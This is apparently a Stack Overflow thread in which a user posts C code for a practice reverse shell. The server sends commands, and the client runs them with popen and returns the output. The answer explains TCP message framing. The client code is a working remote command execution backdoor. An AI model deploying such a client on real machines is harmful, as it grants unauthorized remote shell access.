0

I am working on a reverse shell (for practice) and I'm trying to send the output of the popen function back to the server. For some reason, when I loop through the file and send it, the (server recv) loop doesn't break when it stops receiving messages. Could anyone find my error. and help me fix it? Code for the server:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>

#define PORT 4583


int main(){

    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(PORT);
    server.sin_family = AF_INET;
    bind(sock, (struct sockaddr *) &server, sizeof(server));
    listen(sock, 2);
    int client = accept(sock, NULL, NULL);
    char * command = (char *) malloc(75);
    char * output = (char * ) malloc (5000);
    ssize_t size;
    while (1){
        printf(">> ");
        fgets(command, 75, stdin);
        send(client, command, strlen(command), 0);
        while((size = recv(client, output, 5000, 0)) != 0){
            printf("%s", output);
            if (size == 0){
                break;
            }
        }
        printf("Done");
    }
    free(command);
    free(output);
    return 0;
}

Code for the client:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 4583

int main(){

    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in server;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(PORT);
    server.sin_family = AF_INET;
    connect(sock, (struct sockaddr *) &server, sizeof(server));

    char* command = (char *) malloc(75);
    int commandlen;
    char* output = (char *) malloc (5000);
    while (1){
        recv(sock, command, 75, 0);
        commandlen = strlen(command);
        if (*command == 'c' && *command+1 == 'd'){
            command[commandlen-1] = '\0';
            int stat = chdir(command+3);
            if (stat != 0){
                output = strerror(errno);
                send(sock, output, 5000, 0);
            } else {
                send(sock, 0, 0, 0);
            }
        } else{
            FILE * cmd = popen(command, "r");
            while (fgets(output, 5000, cmd) != NULL){
                send(sock, output, 5000, 0);
            }
            pclose(cmd);
        }
    }
    free(output);
    free(command);

    return 0;
}
alk
  • 69,737
  • 10
  • 105
  • 255
Serket
  • 3,785
  • 3
  • 14
  • 45
  • It is **essential** to check the value `recv()` returns, and not just to do error checking. – alk Apr 12 '20 at 17:05

1 Answers1

1
    while((size = recv(client, output, 5000, 0)) != 0){

Your expectation is that recv returns 0 when the client is "done". But the only "done" from the perspective of TCP is if the TCP connection is closed and only then recv will return 0. Only, your client does not close the connections after a command is handled but it will instead expect the next command.

In order to fix this you need to implement some message protocol on top of TCP so that you know when the command output is actually done. Typical ways to do this are to prefix each message with their length or to end each message with some unique end-of-message byte sequence.

Steffen Ullrich
  • 114,247
  • 10
  • 131
  • 172
  • When I work with sockets in python, I add a headersize like this: ```f"{msg:<10}"``` and then the output would be (assuming the length of the message was 10 characters) this ```0000000010```. How can I do this in C? – Serket Apr 12 '20 at 16:38
  • @Serket: I'm not sure what your problems is with this. Do you have trouble getting the size of what you send (try `strlen` for strings) or do you have trouble formatting an integer as 10 digits (see `sprintf`). Anyway, this is a different question and thus should not be asked in a comment. – Steffen Ullrich Apr 12 '20 at 16:46